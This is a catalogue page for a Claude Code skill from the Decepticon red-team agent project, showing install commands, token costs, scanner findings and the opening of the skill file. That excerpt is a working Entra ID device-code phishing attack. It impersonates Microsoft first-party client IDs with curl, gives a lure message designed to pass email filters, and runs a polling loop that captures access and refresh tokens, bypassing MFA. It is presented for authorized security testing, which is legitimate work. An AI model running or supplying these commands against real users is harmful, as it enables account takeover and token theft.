entra-device-code-phishing

entra-device-code-phishing is a skill for Claude Code from PurpleAILAB/Decepticon. It costs 44 tokens per session (2,026 once invoked), scanned A, original, Apache-2.0.

A guide to stealing Microsoft Entra access tokens through OAuth device-code phishing, deceptive application consent, refresh-token reuse, and primary refresh tokens. OAuth is the sign-in protocol used to grant applications limited or ongoing access to services.

In plain words
What is it for?
Testing device-code phishing awareness, application-consent controls, delegated Microsoft Graph permissions, and token-replay protections.
Why use it?
It helps security testers assess whether users or applications can be tricked into granting access without revealing a password. It also explains how stolen tokens may continue working after the initial sign-in.

Skill for Claude Code

Written for Claude Code: allowed-tools in frontmatter.

Good fit Testing device-code phishing awareness, application-consent controls, delegated Microsoft Graph permissions, and token-replay protections.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/purpleailab/decepticon/entra-device-code-phishing
About the project

Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.

PurpleAILAB/Decepticon · 5,491 stars · on GitHub · decepticon.red

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add PurpleAILAB/Decepticon --skill entra-device-code-phishing
Clone the repo
git clone --depth 1 https://github.com/PurpleAILAB/Decepticon

Made for: Claude Code.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for entra-device-code-phishing

README.md
[![agentmods](https://agentmods.dev/badge/skills/purpleailab/decepticon/entra-device-code-phishing/github.svg)](https://agentmods.dev/skills/purpleailab/decepticon/entra-device-code-phishing)
Your own site
<a href="https://agentmods.dev/skills/purpleailab/decepticon/entra-device-code-phishing"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/entra-device-code-phishing/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for entra-device-code-phishing

Your own site · 80×15
<a href="https://agentmods.dev/skills/purpleailab/decepticon/entra-device-code-phishing"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/entra-device-code-phishing.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 44 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,026 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 6 findings, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high YARA Match · line 145
    YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).
    Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
  • medium Excessive Agency · line 24
    Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.
    Fix: Add human-in-the-loop confirmation for destructive, irreversible, or high-impact operations. Never auto-execute commands that modify files, send data, or alter system state.
  • medium Data Exfiltration · line 30
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
  • medium Data Exfiltration · line 44
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
  • medium Data Exfiltration · line 60
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
  • medium Data Exfiltration · line 107
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00044 $0.02026
Opus 5 $0.00022 $0.01013
Sonnet 5 $0.00009 $0.00405
Haiku 4.5 $0.00004 $0.00203

Measured 9d ago against content hash 11b6acb030a6, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade A, and why

entra-device-code-phishing scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

resp=$(curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/devicecode" \
packages/decepticon/decepticon/skills/standard/cloud/entra-device-code-phishing/SKILL.md · 148 lines

How it starts

The opening of the file, as written. The whole thing — 148 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Steal Entra ID tokens without ever owning the password. Two primary primitives:

  1. Device-code phishing — abuse the OAuth 2.0 device authorization grant: target enters YOUR code on the real MS login page.
  2. Illicit consent grant — register an app, get the user to consent to delegated Graph scopes.

Both bypass MFA-at-login (the user already MFAd against the real IdP) and produce tokens with broad scope.

Phase 1: Device-code flow

Request the device code

# Use a first-party client ID (impersonate a Microsoft app — no consent prompt).
# AzureCLI: 04b07795-8ddb-461a-bbee-02f9e1bf7b46
# Teams:    1fec8e78-bce4-4aaf-ab1b-5451cc387264
# Office:   d3590ed6-52b3-4102-aeff-aad2292ab01c
CLIENT=04b07795-8ddb-461a-bbee-02f9e1bf7b46
TENANT=<TENANT>     # or "common"
resp=$(curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/devicecode" \
  -d "client_id=${CLIENT}&scope=https://graph.microsoft.com/.default offline_access openid profile")
echo "$resp" | jq .
DEV_CODE=$(echo "$resp" | jq -r .device_code)
USER_CODE=$(echo "$resp" | jq -r .user_code)
echo "Send target to: https://microsoft.com/devicelogin  CODE: $USER_CODE"

Pretext delivery

Email / Teams message saying "To join the secure briefing, open microsoft.com/devicelogin and enter code <USER_CODE>. Code expires in 15 minutes." — the URL and brand are legitimate Microsoft, which makes it slip past most secure-email gateways.

Poll for the token

while :; do
  r=$(curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/token" \
    -d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=${CLIENT}&device_code=${DEV_CODE}")
  err=$(echo "$r" | jq -r .error)
  case "$err" in
    authorization_pending) sleep 5 ;;
    null) echo "$r" | jq . ; ACCESS=$(echo "$r" | jq -r .access_token); REFRESH=$(echo "$r" | jq -r .refresh_token); break ;;
    *) echo "ERR: $err" ; break ;;
  esac
done

Read the full file on GitHub · 148 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 9d ago First seen · 148 lines · 44 tokens per session scan A 11b6acb030a6

Subscribe to this mod's changes

entra-device-code-phishing is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,491 stars, last pushed 13d ago), licensed Apache-2.0. It adds 44 tokens to every session and 2,026 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.